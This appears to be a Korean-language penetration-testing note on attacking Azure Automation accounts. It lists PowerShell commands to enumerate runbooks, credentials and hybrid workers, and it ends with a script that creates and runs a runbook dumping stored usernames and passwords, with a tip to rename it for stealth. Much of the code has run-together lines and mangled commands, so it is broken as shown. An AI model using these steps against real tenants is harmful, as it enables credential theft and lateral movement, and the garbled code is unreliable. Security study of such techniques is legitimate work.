From the docs: Azure Automation은 Azure 및 비 Azure 환경 전반에 걸쳐 일관된 관리를 지원하는 클라우드 기반 자동화, 운영 체제 업데이트 및 구성 서비스입니다. 여기에는 프로세스 자동화, 구성 관리, 업데이트 관리, 공유 기능 및 이질적인 기능이 포함됩니다.
이것들은 Azure에서 "예약된 작업"과 같으며, Azure 환경을 관리, 확인 및 구성하기 위해 작업(작업 또는 스크립트)을 실행할 수 있게 해줍니다.
Run As Account
Run as Account가 사용되면, Azure AD 애플리케이션이 자체 서명된 인증서로 생성되고, 서비스 주체가 생성되며, 현재 구독에서 계정에 기여자 역할이 할당됩니다(많은 권한).
Microsoft는 Automation Account에 Managed Identity를 사용하는 것을 권장합니다.
이것은 2023년 9월 30일에 제거되며 Managed Identities로 변경됩니다.
Runbooks & Jobs
Runbooks는 임의의 PowerShell 코드를 실행할 수 있게 해줍니다. 이는 공격자에 의해 악용될 수 있으며, 첨부된 주체의 권한을 훔칠 수 있습니다(있는 경우).
Runbooks의 코드에서 민감한 정보(예: 자격 증명)를 찾을 수도 있습니다.
작업을 읽을 수 있다면, 실행의 출력(잠재적인 민감한 정보)을 포함하고 있으므로 읽어보세요.
Runbook은 Azure 내부의 컨테이너 또는 Hybrid Worker(비 Azure 머신)에서 실행될 수 있습니다.
Log Analytics Agent는 VM에 배포되어 하이브리드 작업자로 등록됩니다.
하이브리드 작업자 작업은 Windows에서 SYSTEM으로, Linux에서 nxautomation 계정으로 실행됩니다.
각 하이브리드 작업자는 Hybrid Worker Group에 등록됩니다.
따라서 Windows Hybrid Worker에서 Runbook을 실행하도록 선택할 수 있다면, 외부 머신에서 System으로 임의의 명령을 실행하게 됩니다(좋은 피벗 기술).
Compromise State Configuration (SC)
From the docs: Azure Automation State Configuration은 클라우드 또는 온프레미스 데이터 센터의 노드에 대한 PowerShell Desired State Configuration (DSC) 구성을 작성, 관리 및 컴파일할 수 있는 Azure 구성 관리 서비스입니다. 이 서비스는 DSC 리소스를 가져오고, 구성을 대상 노드에 할당하며, 모두 클라우드에서 수행됩니다. Azure 포털에서 Configuration Management 아래의 **State configuration (DSC)**를 선택하여 Azure Automation State Configuration에 액세스할 수 있습니다.
# Check user right for automationaz extension add --upgrade -n automationaz automation account list # if it doesn't return anything the user is not a part of an Automation group# Gets Azure Automation accounts in a resource groupGet-AzAutomationAccount# List & get DSC configsGet-AzAutomationAccount|Get-AzAutomationDscConfigurationGet-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)# List & get Run books codeGet-AzAutomationAccount|Get-AzAutomationRunbookGet-AzAutomationAccount|Get-AzAutomationRunbook|Export-AzAutomationRunbook-OutputFolder /tmp# List credentials & variables & othersGet-AzAutomationAccount|Get-AzAutomationCredentialGet-AzAutomationAccount|Get-AzAutomationVariableGet-AzAutomationAccount|Get-AzAutomationConnectionGet-AzAutomationAccount|Get-AzAutomationCertificateGet-AzAutomationAccount|Get-AzAutomationScheduleGet-AzAutomationAccount|Get-AzAutomationModuleGet-AzAutomationAccount|Get-AzAutomationPython3Package## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them# List hybrid workersGet-AzAutomationHybridWorkerGroup-AutomationAccountName <AUTOMATION-ACCOUNT>-ResourceGroupName <RG-NAME>
Runbook 만들기
# Get the role of a user on the Automation account# Contributor or higher = Can create and execute RunbooksGet-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>
# Create a Powershell RunbookImport-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose
# Publish the RunbookPublish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
# Start the RunbookStart-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
자동화 계정에서 Run Book을 사용하여 정의된 자격 증명 및 변수를 외부로 유출하기
# Change the crdentials & variables names and add as many as you need@'$creds = Get-AutomationPSCredential -Name <credentials_name>$runbook_variable = Get-AutomationVariable -name <variable_name>$runbook_variable$creds.GetNetworkCredential().username$creds.GetNetworkCredential().password'@|out-file-encoding ascii 'runbook_get_creds.ps1'$ResourceGroupName ='<resource_group_name>'$AutomationAccountName ='<auto_acc_name>'$RunBookName ='Exif-Credentials'#Change this for stealthness# Creare Run book, publish, start, and get outputNew-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
start-sleep20($start |Get-AzAutomationJob|Get-AzAutomationJobOutput).Summarynt